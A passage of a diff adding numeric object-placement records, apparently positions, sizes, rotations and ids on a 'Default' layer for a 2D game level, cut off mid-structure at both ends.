+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 139,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1908,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 231,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1909,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 323,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1910,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 415,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1911,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 507,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1912,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 599,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1913,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1914,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 783,
+ 639,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1915,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1916,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1917,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1918,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 783,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 474,
+ 1919,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1920,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1921,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 599,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1922,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 967,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1923,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 967,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1924,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 967,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1925,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 967,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1929,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1059,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1932,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1059,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1933,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1059,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1941,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1059,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1942,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 783,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1943,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 783,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1944,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1945,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1189,
+ 713,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 1946,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1357,
+ 713,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 1947,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1487,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1948,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1579,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1949,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 387,
+ 785,
+ 0,
+ 883,
+ 375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1951,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 507,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1952,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 599,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1953,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 415,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1954,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 507,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1955,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1003,
+ 742,
+ 0,
+ 1665,
+ 96,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1956,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 464,
+ 465,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1958,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 876,
+ 661,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1959,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1671,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1960,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1763,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1961,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1993,
+ 593,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1962,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1935,
+ 647,
+ 0,
+ 299,
+ 51,
+ 0,
+ -0.5235991477966309,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1965,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2096,
+ 592,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1966,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2187,
+ 592,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1967,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2279,
+ 592,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1968,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2371,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1969,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2371,
+ 592,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1970,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1971,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1972,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2096,
+ 687,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1973,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2187,
+ 687,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1974,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2279,
+ 687,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1975,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2371,
+ 687,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1976,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 592,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1977,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 687,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1978,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2096,
+ 782,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1979,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2187,
+ 782,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1980,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2279,
+ 782,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1981,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2371,
+ 782,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1982,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 782,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1983,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1763,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1984,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1763,
+ 926,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1985,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1763,
+ 1021,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1986,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2279,
+ 689,
+ 0,
+ 457.285888671875,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1987,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2418,
+ 594,
+ 0,
+ 184.09130859375,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1988,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2463,
+ 595,
+ 0,
+ 91.79345703125,
+ 468.176025390625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1989,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2555,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1990,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2647,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1991,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2647,
+ 307,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1992,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2739,
+ 307,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1993,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2739,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1994,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2831,
+ 307,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1995,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2831,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1996,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2923,
+ 307,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1997,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2923,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1998,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3149,
+ 382,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1999,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250,
+ 446,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3461,
+ 378,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2001,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3553,
+ 378,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2002,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3737,
+ 378,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2003,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250,
+ 541,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2004,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250,
+ 826,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2005,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250,
+ 636,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2006,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250,
+ 731,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2007,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2548,
+ 398,
+ 0,
+ 123.974609375,
+ 75,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2008,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2785,
+ 311,
+ 0,
+ 368.37939453125,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2009,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3064,
+ 376,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0.5235987901687622,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2010,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
